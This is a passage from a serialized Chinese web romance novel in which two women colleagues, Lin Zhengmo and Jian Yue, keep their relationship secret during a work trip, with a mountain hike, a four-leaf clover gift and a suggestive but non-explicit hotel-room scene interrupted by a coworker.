林筝墨看到这幅画的时候,心头有种很微妙的感觉,她忽然想起很多个瞬间,她就是这样逃跑的。 这幅画更像有个人观察了你很久。 一定是很久,不然不会这么生动。 林:【你是什么时候开始喜欢我的?】 简:【去年。】 林:【可是去年我刚入职。】 简:【一见钟情。】 林:【骗子。】 简:【居然不信QAQ】 汽车引擎持续颤动,张老师梦中酣睡,窗帘的薄纱透过一点阳光,中性笔的墨水染上白纸,一句一句,一句一句。 林:【我要睡了。】——林筝墨画了个很小很小的爱心,合上笔记本,递给简越。 简越收下那颗爱心,收回笔记本,闭目养神,唇角不自觉有了笑意。 团建最痛苦的事是:你的女朋友就坐在你前面。 但没关系,有小爱爱爱爱爱爱心。 * 【营养加更章】 * 西山徒步主要是看风景,五月能看到遥远的雪山,也是一种上天的眷顾。 天朗气清,云舒浪卷。 林筝墨和简越行走在徒步栈道上,当然,同行的还有其它的老师。 要在一群同事中假装同事,似乎也是一项需要耐力的技能。 简越不敢和林筝墨太亲密,一直保持着恰当的距离。 张老师成为连接她们的主要桥梁。 “不拍照吗?”张老师左手拉过简越,右手携一个林筝墨,嘴巴里衔着一个赵铭,“赵铭赵铭,给我们仨拍一张。” “好嘞!”赵铭屁噔噔跑过来,“给美女们拍照是我的荣幸!” 张老师站在中间,墨镜一戴,像个女皇,左搂右抱,双手一夹,林筝墨和简越只能贴着她了。 张总放炮:“拍!” 赵铭咔擦咔擦,十来张照片,拍了跑过去给张老师过目。 张老师摘下墨镜,啧了一声:“你这不行啊,我刘海都飞了,衣服也没理好。” 说着就要示范一张。 “林老师,简主任,来,我给你俩拍一张。” 林筝墨心头一动,她其实很想和简越有合照,但都不太方便,可能俩人都做贼心虚吧,不敢提。 谢谢张总。 “好。”简越规规矩矩站在林筝墨旁边,难得拘谨地比了个耶。 林筝墨双手垂下,斯斯文文笔直站着。 “你们是陌生人吗?”张老师灵魂拷问:“中间隔了个太平洋?” 简越朝林筝墨靠近了些,两人肩膀靠着肩膀,简越继续比耶,林筝墨保持先前那个姿态,要好些了,但看起来还是很生疏。 张老师:“简主任你把手搭小林肩膀上,小林你往简主任的方向靠近一点。” 简越照做,一只手搭林筝墨肩上,不再比耶。两人贴近那瞬间,林筝墨就不太好意思,有种公开鞭尸的即视感。 “我要拍了。”张老师摁下拍摄,“哎呀我点成视频了。” 好不容易摆好的姿势失败,这时,林筝墨抬眼看了简越一眼,简越要稍微高一点点,恰逢林筝墨看过来时,简越也低头看了林筝墨。 两人四目相对,那种难以言喻的青涩和悸动在彼此心中荡漾开来。 林筝墨忽然没忍住,非常含蓄地笑了一下,简越被她的笑意感染,同时唇角荡漾开来。 不知是否天气过于热烈,还是某种情绪在发酵。 两人不约而同红了脸,张老师无意捕捉到这个瞬间,又结束了摄像。 “重来重来。”张老师切换成拍照:“三、二、一” 咔嚓。 “非常好看!!我发给你们!!赵铭,你就按照这种来拍。” “噢。”赵铭看了眼照片,是要好看些,“我尽力。” * 爬山的兴头只存在于前半个小时,特别是对登顶没有执念的人来说,随手拍拍风景得了。 大部分老师也是如此,甚至只爬了一会儿,就开始拍照片,发朋友圈,坐下闲聊。 只有简越—— 只有简越想爬到山顶。 西山其实有一个传说,一个很多人都不当回事的传说,只有浪漫主义者信奉这种说法。 传说登上西山的人,会看到一片幸运草土地,那里遍地都是三叶草。传说有位神仙搞禁忌恋,天神为了惩罚,把那位神仙桎梏于这座山顶,不让她与爱人见面。神仙朝朝思念,日日哭泣,一滴眼泪便是一株草,直到山顶长满了三叶草。 后来,天神说,你若是在三叶草里找出一株四叶草,我便赦你自由。 所以,获得四叶草,意味着愿望成真,冲破束缚。 “她不会真的要去摘四叶草吧?”张老师相当费解:“那玩意儿根本就没有!满地都是三叶草!这孩子脑子被烂故事荼毒了!” 林筝墨并不觉得简越是去摘四叶草的,“她不是去摘草的,好像只是比较喜欢运动而已” 张老师继续叨叨:“那行吧,我是爬不动了,咱们歇着等她。” 简越常年运动,体能确实不错,她登过不少有难度的山,所以西山完全不在话下。 身旁的人越来越少,直到再也没看见熟人。她变成了一个人,独自爬山大约一小时,才抵达山顶。 登顶的人也算多,迎面伫着一块打卡石刻,简越没心情拍,她在寻找那片三叶草地。 说起来有点异想天开,四叶草本就难得,更何况是在这种地方?传说之所以是传说,意味着难度系数巨大,几乎不可能实现,但简越还是想试试。 “你来找草啊?”旁边卖水的工作人员磕着瓜子儿,“上一片四叶草是去年的事了。” 简越舒了口气:“那还是有的对吧?” 工作人员:“啊,有,但难得,这可是神仙的宝贝。”他开起玩笑来:“象征性翻一翻也是不错的,三叶草一样灵,你觉得灵就灵。” 简越:“” 她开始翻找,视线里全是三叶草,无一例外,全是,密密麻麻,姐姐妹妹,妈妈妈妈,一模一样,她甚至怀疑四叶草在这里根本不存在,这大概率是个骗局吧? 骗人登山,上来买水,十五一瓶。 虽希望渺茫,但简越却有点心甘情愿上当受骗的意思,她大概找了整整一个小时,头也不抬一下,完全沉浸在这片草地里,旁边的工作人员都看不下去了。 “美女,别找了,不然你去石头那边打个卡吧,人家都是上来打卡的,这个说实话四叶草真的蛮少的,也看缘分。” “好的。”简越继续找,明显没听进去。 “你有什么愿望一定要实现?” “我想她一直爱我。” “呀,您是个恋爱脑呀?” 简越只是笑,“你继续卖水吧。” 工作人员:“但是天快黑了,你记得早点下山。” “好的。” 不多时,天色昏黄,太阳下坠,落日晕开晚霞,绿叶涂上一层黯红的光,不再闪耀了。简越找到腰酸背痛,看了眼时间,准备往山下走,到山腰可以坐缆车,不会耽误大部队的行程。 临走时,工作人员与她客套,大概是看她漂亮,一直搭腔。 “找到了吗?” “哎。” “哈,那就是没找到!” “走了。” “下次再来!” “下次一定。” 简越背着包,转身就往山下走 * 张老师和林筝墨一直等到天黑,等到花儿快谢了,才等到姗姗来迟的简越。 张老师:“摘到四叶草了吗?” 简越摇头,“没有。” 张老师:“我就说。” 简越从兜里摸出一株三叶草,送给张老师:“送给您,他们说三叶草一样的灵。” 张老师就是这么好哄,“哎哟,谢谢我的妹妹!”接过三叶草,仔细端详,嘴巴上嫌弃,实际喜欢得不得了,一个人自言自语:“花神花神,保佑保佑,保佑我清一色杠上花自摸,自摸清一色杠上花。” 林筝墨不说话,只是看着简越,那眼神仿佛在说:我的呢? 简越接收到她的眼神,摸摸右边裤兜,摸出一朵蓝色小花来,花朵朴素而美丽,根茎被编制盘绕过,绕成一个圈,是一朵小花戒指。 啊~ 好可爱! 林筝墨有被惊艳到,简越就像一个技术精湛的魔术师,总能送给她一些奇奇怪怪但很有意思的东西。 在张老师不注意的位置,简越小声说:“下山的时候编的,送给你。” 小花戒指相当别致,林筝墨接过去,情不自禁框在手指上,尺寸居然刚刚好。 “谢谢。”声音尾音没克制住,但有点难以抑制的雀跃了。 “那咱们下山吧!”张老师催促道:“等会儿天真的黑了。” 缆车在半山腰,步行二十分钟就能抵达。届时山间的太阳已落,四面渐渐黯了下来。 三人坐上尾班缆车,轿厢顺着钢丝缓缓向下滑动。一帧帧风景掠过眼前,四面的山峦、丛林,像是一幅水墨画,浓厚的色彩魅力泼过来,泼到眼底,眼底净是惊艳。 世界有种宁和的美妙,烦躁与疲惫的心被治愈。 厢内点着一盏蓝白白的白炽灯,余光散在玻璃上,映射出两人清瘦脸颊,她们的脸,在玻璃上重合,渐渐变成了一个人。 张老师低头在发朋友圈。 林筝墨则注视看自己手上的小戒指,她本不想张扬的,但她没忍住,戴上就不舍得摘下了。 “你怎么上去这么久?”小声问简越。 “找四叶草。”简越如实回答,又侧目看向林筝墨,“爬西山不找四叶草,有什么意思呢?你知道四叶草的故事吧?” 林筝墨点头,“知道。” “那你信吗?” “信。”林筝墨手指无节律地摩挲着小花戒指,“但这只是传说,其实上面根本就没有四叶草,没找到也是正常的。” 简越靠近她一些,声线低缓:“那如果有,你有愿望要许吗?” 林筝墨侧目看简越,视线撞进对方瞳仁里,简越眉眼清冷,从这个角度看去,她的五官有种摄人心魄的美丽,林筝墨心头一动。 “有。”林筝墨点点头,“有愿望要许。” “要许什么?”简越看了眼张老师,老人家在姐妹群聊得不亦乐乎,完全没心思关注她们。 林筝墨贴在简越耳边,小声唇语:“关于你。”说完,又迅速退开,仿佛一句话从来没存在过。 “哦~”简越将手放在林筝墨掌心,食指轻轻点了点她的指节,示意她将手摊开。 林筝墨照做。 忽然有什么东西落入掌心,柔软的,轻盈的,低头一看,是一片绿莹莹的幸运草。 和张老师那片不同。 它是四瓣的—— 作者有话说:加更奉上 默默退下 明天如果有时间,我还加!![彩虹屁] 宝宝们多给我留言,我码字的动力!! 退下了![彩虹屁] 第44章 第四十四章 第一夜,不一样的林筝墨…… 第四十四章 缆车的滑杆在线槽里发出哐当的声音, 轿厢里,白炽灯映在玻璃上,忽明忽暗,灯光像黑夜里生出的一盏月。 林筝墨眼里忽然盈着泪光, 觉得一些原本很遥远的东西, 忽然被这个人带到眼前, 不报期望的种子,如今又在掌心开了花。 实在难以言喻。 林筝墨活了二十八年, 没有人为她做到这个地步, 没有人会执着到要去寻找万分之一的概率,只为了让她开心。 除了简越。 她忽然不知道要许什么愿望,也许是简越带给她的东西过于美好, 竟然害怕消逝了。 张老师还坐在对面用手机聊天,对于两人之间毫无察觉。 林筝墨挽过简越的手臂,稍稍偏头, 就这样自然而然靠在简越肩膀上,依偎着, 与她平日拒人千里的姿态截然不同。 她就想和简越有肢体接触, 此时此刻, 一秒也等不了。 张老师虚虚抬眼,看到此情此景, 略微讶异, 不是惊讶她们靠这么近, 而是意外林筝墨也有对别人这般亲密的时刻。 但转念一想,兴许林老师和简主任关系已经到这种地步了吧? 张老师又低下头玩手机去,没在意。 爱意在空气中发酵,林筝墨凝视着手里的小花戒指, 花边和手指亲密吻合着,如同她的发丝与简越的肩膀一样。 她的手指搭在简越的手臂上,在张老师看不到的时候,故意在简越手臂小范围摩挲着。 那是一种无规律的触碰,有点像挑逗,又有点像撒娇。 简越被她的小动作搞得心神荡漾。 林筝墨 你又开始了吗? “简主任。”林筝墨忽然开口。 “嗯?” “第二份文件快做好了,晚上我回去,记得提醒我发给你。” 简越太阳穴突突直跳,就知道林筝墨叫“简主任”的时候,准要使坏。 “好”简越喉咙滑动了一下,脸颊火辣辣,神思飞扬。 第二份文件 张老师打岔:“什么文件?” 简越:“消防知识。” 林筝墨抿唇笑,笑却不作声。 张老师困惑:“这在林老师的工作范围内吗?” 林筝墨:“闲来没事,答应帮简主任做做文件,她太忙了。” “对。”简越煽风点火:“加上林老师对灭火知识研究比较深。” 张老师似懂未懂,“哦~”话锋一转:“搞不懂你们年轻人的!” 缆车已到,三人慢悠悠朝山下走去,届时天已昏黑,正巧赶上大部队。 张老师吆喝着:“来来来,老师们,咱们拍张照回酒店吧!” * 林筝墨虽然很讨厌团建,但这次体验感还算不错。与张老师私下接触后,有些刻板印象打破,最终得出一个结论: 以后还是可以参加的。 前提是女朋友也在的话。 晚餐过后,一众人回酒店,在宽绰的大厅里聊天。旅行进入到尾声,大家意犹未尽,话也开始多起来。 林筝墨由于不喜社交,全程没怎么说话,在这种七嘴八舌的时候她基本保持沉默,隐形在人群里,略微有些格格不入。 倒是简越,游刃有余,见人说人话,见鬼说鬼话。 林筝墨在一旁偷偷看简越,忽然有点羡慕这种社交技能,简越真好,简越什么都会,反观自己,话不会说,人际关系不会打点,像一个木头,好像也没有什么制造浪漫的奇思妙想,想着想着,竟然莫名伤感起来,心想简越到底喜欢她什么? 有种女朋友太过于完美而诞生的自卑感? 呜呜。 “林老师。”简越在她手臂上轻轻拍了拍,“今天很累了吧?你要不要先回去休息?” 她眼神示意林筝墨先回去,林筝墨心意未决,想和简越待在一起,却又害怕等会儿话题落在自己身上。想了想,还是先走为妙。 “好吧,我的文件还没做完,那我回去把剩下的做了。”!!! 又来! 简越眼底欲念闪烁,克制着:“好,麻烦你了。” “不客气,应该的。” 用最礼貌的话语撩最强的sao. 林筝墨假装客套两句,从人群中退出去。简越望着她离去的身影,心思跟着飞走了。 小鸵鸟。 听说你今晚要做文件。 好的。 那我做你。 * 社交其实是一件极其疲累的事情,要笑,要说场面话,如果不是身份需要,简越是一点都不想配合。 她也没觉得别人在谄媚,或许大家都很累,只是所谓的社交法则有毒。 在大厅说到唇舌干涩,最后终于讪讪离场,大家非常娴熟,还要假装恋恋不舍。 她的房间在1008,张老师说她在1007。 “累了累了。”张老师轻轻拉她衣袖,“走了走了,一起上楼吧。” 两人一并进入电梯,简越摁了数字“10”,张老师靠着栏杆发呆,眼神木讷,不知道在想什么。 简越拿出手机给林筝墨发消息:【我上来了。】 林筝墨:【好,我刚洗完澡。】 又抬眼看张老师,蔫了吧唧的。 “您累啦?” 张老师颔首:“累鼠。” 简越低声笑,“好潮。” 会用网络话语。 张老师挠挠头发,蹙眉:“玩完这趟回去又要受罪喽。” “期待下次我们远行,您挺好玩的,相处都没代沟。” 张老师笑,“其实我心态年轻得嘞,就是身上包袱太重了,人又老了,精力差,不想折腾。” 简越嗯了一声。 叮—— 电梯门打开,两人并肩出去,踱步在长廊,驻于各自门前。 “诶对了,简主任。”张老师停在房间门口,大大方方说:“你有补水的吗?我忘带了,这两天脸好干。” “有。” “那我等会儿洗完找你拿。” “现在就给你?” 张老师摆摆手,“我得马上歇会儿,等会儿找你,顺便找小林聊两句。” “好吧。” 身后,张老师已进房门。 简越的手搭在门把手上,将门打开,却在门隙开缝隙那一秒,却发现房间里没开灯。 咦? 漆黑。 简越推开门,一只脚刚踏进去,下一秒有人捏住她的手腕,一道力将她带进去。 无意识撞进黑暗里,视线昏黑。 啪嗒—— 好不容易透进来的一束光又黯了。 那人将她推到墙角,反手就阖上门。 简越刚想出声,耳边忽然响起清润的声音: “是我。” 不等简越说下一句,对方主动靠过来,将简越抵在门上。 她好像刚洗过澡,空气中浮着一股冷淡的香气,像被月光晒过的雪,乌发摩擦过简越的鼻腔,留下迷人的香晕。 简越手里还拿着一瓶矿泉水。 哐当—— 水瓶忽然掉在地板上。 水瓶顺着地板滚到墙角,林筝墨却分外放肆,一双手主动攀上简越的肩膀,缓缓贴近她,脑袋埋进简越的锁骨里,墨发搭在简越的肩膀上,软而低迷地问她: “怎么这么久?” 简越身体僵木,浑身细胞在喧嚣,是真正意义上的啊啊啊在啊啊啊,仿佛一万列列车疾驰而过,在心头刮起一道强烈的飓风。 “我——”简越情不自禁上手,双手环着林筝墨的腰,“他们话多,拉着我说了几句,就耽误了一会儿。”掌心触碰的温度太真实,简越喉咙滑动了一下,脸生燥意,“你洗过澡了?” “嗯。” “好香。” “那你再闻闻。” 林筝墨又靠近些,嘴唇故意擦过简越的脖颈,她不说话,只是浅浅、轻轻地呼吸,故意通过热气撩拨简越。黑暗的玄关是她的保护色,一些潜藏已久的情绪快要释放。 想吻简越。 想拥抱。 想亲密。 其实在看到四叶草那瞬间就想。 她一直忍,忍到上车,回酒店,假装无所事事,洗完澡,直到现在—— “简越,谢谢。” “啊?”简越凝视着漆黑的天花板,心跳在胸腔里擂鼓,她不知道林筝墨要说什么,也不清楚她的动机,“谢谢什么?” “今天。”林筝墨说话很轻,很短,“和你待在一起的二十四个小时。” 说完这句,林筝墨偏过头,嘴唇在简越耳尖触碰了一下。 一石激起千层浪。简越只觉得那波浪从脚尖迅速蔓延,直直烧到头顶,意志力决堤,几乎快失去思考的能力。 “林筝墨。” “干嘛?” “你怎么——”简越想说,林筝墨你关上灯是另一个人嘞?你不要勾引我,我还没洗澡,你现在把灯关掉想做尽坏事,我可一点心理准备都没有。 虽然,虽然也可以没有准备。 话到嘴边忽然咽了下去,准确来说,简越要说的话被林筝墨吃掉了。 她没想到林筝墨忽然会吻她,就那么迅速,那么热情,那么突然。 嘴唇咬过来的时候,带一点点冰凉,一点点甜,青涩的软意在简越舌尖燃烧。 林筝墨你 简越差点儿没站稳,迅速搂住她的腰,反身一扣,将林筝墨抵在门上,加深了这个动作。听见林筝墨嗯了声,那声音化成棉花糖,贴在简越的耳朵上,晕乎乎的。 简越化被动为主动,又觉得不是完全掌控的,偶尔林筝墨侵袭过来,简越也招架不住。 两人迷迷糊糊在门廊持续好久,吻到滚烫,吻到拉丝,又亦步亦趋往床的方向走,脚步追着脚步,嘴唇却不曾离开。 这个吻要比白天热烈许多。 磕绊到床边,简越轻轻一推。 林筝墨不费吹灰之力就倒下去了。 林筝墨喘着气,小声说:“你不洗澡吗?” 简越想开灯,她想看林筝墨现在的样子,可开关好远。 “你也知道我要洗澡。”简越弯腰下去,在林筝墨眼睛上又吻了一下,“我先洗澡吧,等会儿慢慢来。” 慢慢来 啊。 她说些什么话。 “嗯。”林筝墨虽嘴巴上答应着,双手却紧紧圈着简越的脖子,不让她走,“你再抱我一会儿吧。” “好。”简越双手环抱着她,两人静静贴在一起,心跳你噗通一下,我噗通一下,存在感超强。 简越惊讶又惊喜。 林筝墨好黏人。 一点都不林筝墨。 但好喜欢。 林筝墨脸颊像蒸熟的蟹壳,还好四面黑黯,简越看不到她的样子,所以不至于害羞到无地自容的地步。 她静静感受着简越带给她的感觉。简越的身体像一块实心海绵,软软的,又很有弹性。贴近的时候,关于女性柔韧的触感变得具象化,浑身的细胞都被调动起来了。这还不够,偏偏她身上还很香,那是一种闻了就酒酣耳热的味道,林筝墨称之为猫薄荷,而她则是那只不要脸的猫,被迷得五迷三道。 手啊。 根本不想松开。 “那你就不去洗澡了吧。”林筝墨声音软塌塌的,“我就想挂在你身上。”居然还带着一点点撒娇的腔调。 简越被撩得云里雾里,分不清东南西北。 开发林筝墨不足1%!!!! “啊”简越耐着性子哄她:“可是不洗澡的话,我们等会怎么办呢?” 等会儿不看消防文件吗? “给我十分钟吧?” “不要。” 林筝墨脸颊更烫了,一些画面,一些“文件”,一些“消防知识”,一些过了脑子就走不出去的场景。啊啊啊的身体,哦,不,简越的身体 “不急。”林筝墨埋在简越的头发里,贪婪地蹭着她的鬓发,“你再抱我一会儿。” 简越心想,抱下去也不是办法,灵光一现,想出两全其美的办法:“那不然一起洗?”—— 作者有话说:更新速速送达[彩虹屁] 对了,我的新文《宋教授的枕边甜妹》 可以去专栏收藏一下吗?谢谢宝宝们!! [彩虹屁][彩虹屁] 提问: 大家觉得林老师攻一些还是简主任? 可以押了[狗头][狗头] 第45章 第四十五章 你脖子上有草莓 第四十五章 “那不然一起洗?” “我洗过了。” “再洗一次?”简越试图把林筝墨从床上拉起来。 林筝墨的身体软绵绵、轻飘飘的, 好不容易跟着简越站起身来,一想到一起洗澡,光是瞥见一点光景,内心已然躁动。 太陡了。 不可。 “我就不洗了。” “怎么了?” “我不好意思。” 简越轻声笑着, 脸上轻捏, “那你刚刚挺好意思。” “我一直不好意思。”林筝墨害羞又直接:“不然我关灯干嘛。” “好吧, 那我先洗澡。”简越并不强迫,她知道林筝墨没这胆量。 “等等。”林筝墨从她怀里退开, “你先别开灯。”窸窸窣窣摸到黑暗里去了, 并不知道她在做什么,半晌,才听见:“现在可以开灯了。” 简越去墙上把灯摸开, 转身往床上一看,霎时没绷住,难以自禁笑起来。 眼前, 大床上,林筝墨躲在被子里, 裹成一长条, 连带着头发也被包裹起来, 只露出一张脸。她像一只可爱又纤细的蠕动虫子,正躺在床上瞅着简越, 表情茫然又害羞, 铺面而来一种局促感, 听见简越的笑声,脸唰的一下泛起红晕。 “你怎么这么可爱!!”简越弯下腰,一身攻势裹挟着笑意朝林筝墨压过去,要解开被褥对林筝墨的禁锢, 口吐真言:“让我再亲亲你。” 林筝墨受不了这样直白的撩拨,往被窝里挪了点儿,腼腆抵抗:“啊你快去洗澡吧。” 简越还想吻她。 林筝墨说不行,连带着脑袋也缩了回去,怯意熬成一锅汤,羞气拂在空气中,有点甜。 “你快去!” 原来灯光是林筝墨的开关,关了灯的林筝墨是缩头乌龟,开了灯了林筝墨是千年王八! “那我先去。”简越没吻成功,故意摞下一句话挑逗她:“等会儿我们不关灯。” 林筝墨瘫在被子里,潮气满面,不说话,以此表示自己毫无波澜。 简越转身拿了睡衣去浴室了 * 林筝墨对自己有一个非常中肯的评价:闷骚。 开灯是闷,关灯是骚。 嗯嗯。 听到浴室里洗澡水声,她才从被窝里出来,像是下水道闷了一个月的潮虫,正面反面将自己晒了晒,适应了灯光,脸色才稍微自然了些。 她拿起手机,点开某播放器,开始听音乐,伴随着简越的洗澡水声发呆,无意义的时间变得尤其迅速。 直到浴室里结束一切,林筝墨才拿起手机,在备忘录写道:她洗澡的时候,我可以听三首歌。 这是一种无意义的记录,却又需要被记录,林筝墨切出屏幕,熄屏,把手机塞到枕头下,重新回到她的巢穴——被窝里。 裹裹虫就位。 观赏员从浴室出来,周身夹带一股水汽,趿着拖鞋的水在垫子上踩了踩,望向林筝,笑道:“你怎么还裹着啊。” 林筝墨冷不丁:“我冷。” 简越从床边走过,到桌那边坐下,开始日常护肤,一些精华和简单的水。打开桌上的小台灯,将水倒在掌心,小声的噼啪落在脸颊上。 林筝墨一双乌黑的眼,躺在直勾勾看着她,刚洗过澡的简越依旧穿着那条睡裙,墨发落在肩头,橘色灯光落在她的臂膀上,也晕着侧脸的美丽,从林筝墨的视角看去,简越无意识的一姿一态极具诱惑力。 她默默欣赏着简越的日常,直到简越与她搭腔。 “昨晚那瓶香水怎么样?” “还好。”林筝墨喉咙滑动了一下。 “我还有另一瓶,今晚我换一瓶。” “又是什么味道?” “好像是雪松?”简越拿起香水瓶,刚想喷一下,顿住了,起身,朝林筝墨走去,突发奇想:“我给你试试。” 林筝墨从被窝里伸出一只手,把手腕递给简越,要帮她试香。 简越却说:“不要手臂,耳朵后面吧?” 她喷了一点在手指上,轻轻抹了点在林筝墨耳后,左边右边,笑盈盈看着对方,“然后我喷那瓶。” “嗯。” 林筝墨不知道她要做什么,但很配合她。简越不紧不慢又去护肤,花了些时间,以至于林筝墨都觉得今晚是不是止步于此了,对方忽然站起身来。 “我好了。” 林筝墨:QAQ. 林筝墨:脚趾拧麻花。 林筝墨:禁止呼吸。 一万个内心活动化为一个字:“哦。” 她听见脚步声,鞋子踩在软绵绵的地毯上,像一首轻柔而舒缓的浪漫诗词,在她耳边浅浅低吟。脚步声是诱惑,灯光是,气味也是,直到嗅到简越身上的香气,她循声望去,黑发披在肩头,纯素颜的简越很好看。目光柔和地凝视着她,缓缓坐在床边,一只手探过来,在被褥一角轻轻一提,林筝墨充满防备的魔壳瞬间卸下了。 她也忘记害羞是什么。 忽然就很想拥抱简越,主动伸出手去,拉着简越柔软的手臂。 她觉得自己才是迫不及待的那个,从被窝里出来,一双手很快攀上简越的肩膀,稍稍用力,让简越靠近她。又贴在她的怀抱里,像是山间漫无目的的鸟儿,忽然找到适合自己的枝头,稳稳落了下去。 “你是不是很想关灯?”简越在她耳边低语。 “有点。” “开灯会不好发挥吗?” “嗯。” “那就关。” 听见啪嗒一声,大灯忽然熄灭了,卧室再次陷入黑暗。视觉削减,分散到嗅觉和触觉那里去,拥抱瞬间变得更有感觉,贴合的缝隙,体温明显升高。 林筝墨忽然翻了个身,爬在简越的腿上,跨坐着。 简越心想,林老师,这么快,很难不怀疑,你是提前演练过的。 林筝墨很轻,她的腿贴在简越的腿上,重叠着,隔着薄薄的睡裙,依稀能感受到皮肤的温度,好像更烫了。 简越脑袋有一瞬间的失迷,觉得林筝墨的撩人是天生的,只是难以获取,是没有解药的毒药,一碰就要绑定一辈子了,要为她纠缠,为她死。 “想干嘛?”简越明知故问,引导林筝墨说话。 “想和你玩。” 不知道为什么从如此平平无奇的四个字里,听出一点暧l昧的勾l引。 简越承认上钩的是自己,“玩什么?” “想给你看我做好的文件。” 有种公事公办从文件夹里摸出一张颜色照片的反差感,有种阅读消防知识是真的迫切需要被灭火的难耐。 简越呼吸滚烫,“林筝墨” 林筝墨。 第一次。 你悠着点。 我被钓成什么了。 像话吗? “怎么了,简主任。”她故意叫她简主任,还要假装,“你是不是不想看?” 简越缴械投降:“我要看。” “那你别动。” 简越喉咙滑动了一下,阖上眼,“好。” 她觉得林筝墨在靠近了,先前喷过的香水味逐渐逼近,气味冷调,藏在林筝墨的发丝里,像一张密密麻麻的网向简越扑来。林筝墨的嘴唇贴过来了,先是在脸上,那么轻,那么软,那种浅尝辄止的诱动,更加调动神经,明明觉得还不够,又挪到另一个地方了。 林筝墨气息游离到简越耳边,缓慢地呵出一点热气。 简越眼神迷濛。 林筝墨的嘴唇一路从简越耳朵移动到嘴唇,趁简越失神,忽然贴上去,仿佛先前只是蓄满雨水的乌云,此刻快速地落下倾盆大雨。 她十分热情。 贪婪地品尝着简越唇齿之间的那点甜,却又不横冲直撞,是有节律的音乐高手,有时候简越想用舌尖触碰她,她往后逃离,故意让简越追着她走,直到简越有些恼,有点急,她忽然又送到简越面前,让简越不可自拔,像个挨饿很久的人难以抑制地贪食着。 林筝墨交给简主任的第一份消防文件是—— 拉过简越的手,把她的手贴在自己腰上。 简越难以自禁地从鼻腔里发出一个“嗯”,林筝墨便知道她的第一份文件做得不错了。 林筝墨交给简主任的第二份消防文件是—— 故意撩生撩死,无意识贴在简越身上,轻而缓慢地蹭她,唇舌交攻,直到简越再也受不了,翻身将她禁锢在怀里,反守为攻。 简越一翻身,林筝墨陷在软绵绵的枕头里。 于是,几乎快要将很早以前就想做的事情做一遍,简越的手指不安分地划过林筝墨的裙摆,她想摸她。 热情快要被点燃,两人都很投入。 忽然之间,房门轻叩。 “小林小林。”张老师的声音响起:“简主任简主任。” 简越的嘴唇从林筝墨唇上挪开,莹丝拉扯,觉得不够,又继续吻着林筝墨,不去理会张老师。 林筝墨从迷离中醒来,轻轻推了推简越的肩膀,慌乱地挪开唇。 “张老师?” “我们继续。” 林筝墨的兴致破了一半,“你去开门。” “不开——”简越在林筝墨眼尾胡乱吻了一下,哀求道:“我们不理她好不好?” 林筝墨支起身来,快速地整理着自己的头发,“你去开门吧。” 门外。 张老师敲了好一会儿门,听到屋内有动静,但一直没人应她,又过了一会儿,脚步声噼里啪啦踩过来,简越打开门,扑面而来一股热气。 张老师看着简越,分明面色红润,却又端详出一点点黑,那种黑是情绪的黑,眼角耷着,有种微妙的不耐,可她嘴唇又红又肿,像是吃了很辣的小龙虾。 “咦?你们睡啦?”张老师寻思着也不应该啊,但敲门一直不开。 简越提了口气:“没有,我刚刚在上厕所,没听见。” “哦,小林呢?” 身后,林筝墨从床上下来,乱挽乌发,居然还能无事发生地礼貌地对话:“我刚刚在听歌,没听到您敲门。” 张老师心想,那你耳机声音开得很大吧? “噢!我来拿水乳,脸太干了。” 简越将怀里的化妆包递过去,“护肤品都在里面,您慢慢挑吧。”言语之中有克制不住的焦灼,又要克制,又要隐藏。就显得她十分矛盾。 张老师觉得简越很怪,又发现屋里的灯很黯,只觉得气氛微妙,但又说不上来。 思来想去还是不要找林筝墨聊天了,因为简主任看起来很困,好像想杀人。 无辜。 她一手接过化妆包,还想和简越客套几句,视线刚落在简越脸上。 身后林筝墨忽然开口岔道:“张老师,您困吗?” 张老师视线转移,望向林筝墨:“不啊,这才十点半呢。” 林筝墨:“我也不困,但简主任应该是困了,不然我到你房间里聊聊天吧?” 张老师眉眼舒展开来,“好啊好啊!快来!!” 简越抓着门框,疯狂对林筝墨使眼色,那眼神仿佛在说: 你在干嘛! 哑火的炮仗之所以哑火!是因为她湿了!确定不用火柴再点燃一下吗! 林筝墨却忽略她的信号,径直朝张老师走去,那步伐分明有点诡异的迅捷,似乎在掩饰什么,临到门前,林筝墨顿下脚步,把门往简越怀里一压,将简越上半身遮挡住了。 “我先过去了,你早点睡。” 简越费解,却还是应和着:“你们聊吧。” 林筝墨走到门外去,张老师挽过林筝墨的手臂,忽的感叹:“哇,小林,你身上好香啊。” “喷了一点点香水。” 张老师又用鼻子嗅了嗅,“但是都闻不出是什么味道。” 林筝墨不语,因为是两种香水混合的味道啊。 她转身同张老师去对面房间。 简越的目光湿哒哒的,像是一场雨落在林筝墨的肩膀上,眼见林筝墨就要消失在视线里。 忍不住开口:“那文件什么时候做?” 别走啊。 回来。 该做的还没做完。 林筝墨回过头,轻飘飘回应着:“明天做。” “哦——” 简越气急攻心。 转身阖上了门。 门后,胡乱抓了一下头发,对着空气无声咆哮: 好烫的一份消防文件! 烧死了!! 烧烧烧烧烧烧烧烧烧! 为什么? 为什么还要去陪张老师聊天! 正想对空气发泄,床上的手机忽然震动了一下。 是林筝墨发来的消息: 【你脖子上有草莓。】 【她差一点就看到了。】 第46章 第四十六章 吻到嘴唇红肿 第四十六章 “简主任怎么了?”张老师阖上门后关心起来:“她便秘了吗?” 林筝墨从微信聊天框里切出来, “啊?” “你没发现吗?她刚刚脸色铁青。” “她是爬山累了。”林筝墨觉得张老师的揣测未免也太好笑,但她不敢笑,“毕竟今天她爬到山顶去了。” “喔。”张老师颔首,“也是。” 张老师将简越的化妆包放在台面上, 没有乱翻简越的东西, 只是拿出水乳擦了一下, 原路摆放回去,又拉上拉链。 望向林筝墨, 问她喝不喝水。 林筝墨坐在椅子上, 半游离状态,还在回味先前的种种,云云, 唇角还有简越的味道,是甜而不腻的香栀唇膏。 她的意犹未尽像夜色里的海水,回荡在颅内, 难以退潮。 “嗯,不喝水了。”——够湿了。 张老师侧身躺在单人大床上, 瘫状, 身体像手抓饼上的生菜叶, 可怜得像将入口的食物。她沉默片刻,忽然直起身来:“我想清楚了。” “什么?”林筝墨茫然地看着她。 “白天那件事。”张老师眨了眨泛红的眼, “我想结束这段婚姻了。” 林筝墨有些意外她这样快速做决定。 “我明天回去就提。”言罢, 从床上站起身来, 踱两步,叨叨道:“我也不懂自己,但我觉得应该这么做。”她似乎在林筝墨面前没有顾忌,“毕竟从来没为自己争取过什么。” “是什么触动到您?”林筝墨怔怔地望着她:“产生这样的想法?” “太多时候, 